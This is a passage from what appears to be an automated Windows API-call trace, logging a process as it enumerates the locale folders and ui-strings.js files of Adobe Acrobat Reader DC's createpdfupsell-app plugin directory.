hFindFile=0x3315c30, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4d2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0275.263] FindClose (in: hFindFile=0x3315c30 | out: hFindFile=0x3315c30) returned 1 [0275.263] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42b0fd0 | out: hHeap=0x670000) returned 1 [0275.263] FindNextFileW (in: hFindFile=0x3315a30, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eu-es", cAlternateFileName="")) returned 1 [0275.263] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x42b0fd0 [0275.263] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\js\\nls\\eu-es\\*", lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x3315570 [0275.264] FindNextFileW (in: hFindFile=0x3315570, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0275.264] FindNextFileW (in: hFindFile=0x3315570, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4dd, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0275.265] FindNextFileW (in: hFindFile=0x3315570, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4dd, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0275.265] FindClose (in: hFindFile=0x3315570 | out: hFindFile=0x3315570) returned 1 [0275.265] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42b0fd0 | out: hHeap=0x670000) returned 1 [0275.265] FindNextFileW (in: hFindFile=0x3315a30, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-fi", cAlternateFileName="")) returned 1 [0275.265] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x42b0fd0 [0275.265] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\js\\nls\\fi-fi\\*", lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x33157b0 [0275.266] FindNextFileW (in: hFindFile=0x33157b0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0275.266] FindNextFileW (in: hFindFile=0x33157b0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4cb, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0275.266] FindNextFileW (in: hFindFile=0x33157b0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4cb, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0275.266] FindClose (in: hFindFile=0x33157b0 | out: hFindFile=0x33157b0) returned 1 [0275.266] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42b0fd0 | out: hHeap=0x670000) returned 1 [0275.266] FindNextFileW (in: hFindFile=0x3315a30, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-fr", cAlternateFileName="")) returned 1 [0275.266] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x42b0fd0 [0275.267] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\js\\nls\\fr-fr\\*", lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x3315730 [0275.267] FindNextFileW (in: hFindFile=0x3315730, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0275.268] FindNextFileW (in: hFindFile=0x3315730, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4e6, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0275.268] FindNextFileW (in: hFindFile=0x3315730, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4e6, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0275.268] FindClose (in: hFindFile=0x3315730 | out: hFindFile=0x3315730) returned 1 [0275.268] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42b0fd0 | out: hHeap=0x670000) returned 1 [0275.268] FindNextFileW (in: hFindFile=0x3315a30, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-ma", cAlternateFileName="")) returned 1 [0275.268] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x42b0fd0 [0275.268] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\js\\nls\\fr-ma\\*", lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x33156f0 [0275.269] FindNextFileW (in: hFindFile=0x33156f0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0275.269] FindNextFileW (in: hFindFile=0x33156f0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4b0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0275.269] FindNextFileW (in: hFindFile=0x33156f0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4b0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0275.269] FindClose (in: hFindFile=0x33156f0 | out: hFindFile=0x33156f0) returned 1 [0275.269] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42b0fd0 | out: hHeap=0x670000) returned 1 [0275.270] FindNextFileW (in: hFindFile=0x3315a30, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he-il", cAlternateFileName="")) returned 1 [0275.270] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x42b0fd0 [0275.270] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\js\\nls\\he-il\\*", lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x3315a70 [0275.271] FindNextFileW (in: hFindFile=0x3315a70, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0275.271] FindNextFileW (in: hFindFile=0x3315a70, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 0 [0275.271] FindClose (in: hFindFile=0x3315a70 | out: hFindFile=0x3315a70) returned 1 [0275.271] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42b0fd0 | out: hHeap=0x670000) returned 1 [0275.271] FindNextFileW (in: hFindFile=0x3315a30, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr-hr", cAlternateFileName="")) returned 1 [0275.271] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x42b0fd0 [0275.271] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\js\\nls\\hr-hr\\*", lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x3315930 [0275.272] FindNextFileW (in: hFindFile=0x3315930, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0275.272] FindNextFileW (in: hFindFile=0x3315930, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4c8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0275.272] FindNextFileW (in: hFindFile=0x3315930, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4c8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0275.272] FindClose (in: hFindFile=0x3315930 | out: hFindFile=0x3315930) returned 1 [0275.272] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42b0fd0 | out: hHeap=0x670000) returned 1 [0275.272] FindNextFileW (in: hFindFile=0x3315a30, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-hu", cAlternateFileName="")) returned 1 [0275.272] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x42b0fd0 [0275.272] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\js\\nls\\hu-hu\\*", lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x33157b0 [0275.273] FindNextFileW (in: hFindFile=0x33157b0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0275.273] FindNextFileW (in: hFindFile=0x33157b0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4e4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0275.273] FindNextFileW (in: hFindFile=0x33157b0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4e4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0275.273] FindClose (in: hFindFile=0x33157b0 | out: hFindFile=0x33157b0) returned 1 [0275.274] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42b0fd0 | out: hHeap=0x670000) returned 1 [0275.274] FindNextFileW (in: hFindFile=0x3315a30, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-it", cAlternateFileName="")) returned 1 [0275.274] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4235db0 [0275.574] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\js\\nls\\it-it\\*", lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x3315bf0 [0275.575] FindNextFileW (in: hFindFile=0x3315bf0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0275.575] FindNextFileW (in: hFindFile=0x3315bf0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4db, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0275.575] FindNextFileW (in: hFindFile=0x3315bf0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4db, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0275.575] FindClose (in: hFindFile=0x3315bf0 | out: hFindFile=0x3315bf0) returned 1 [0275.575] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4235db0 | out: hHeap=0x670000) returned 1 [0275.575] FindNextFileW (in: hFindFile=0x3315a30, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, 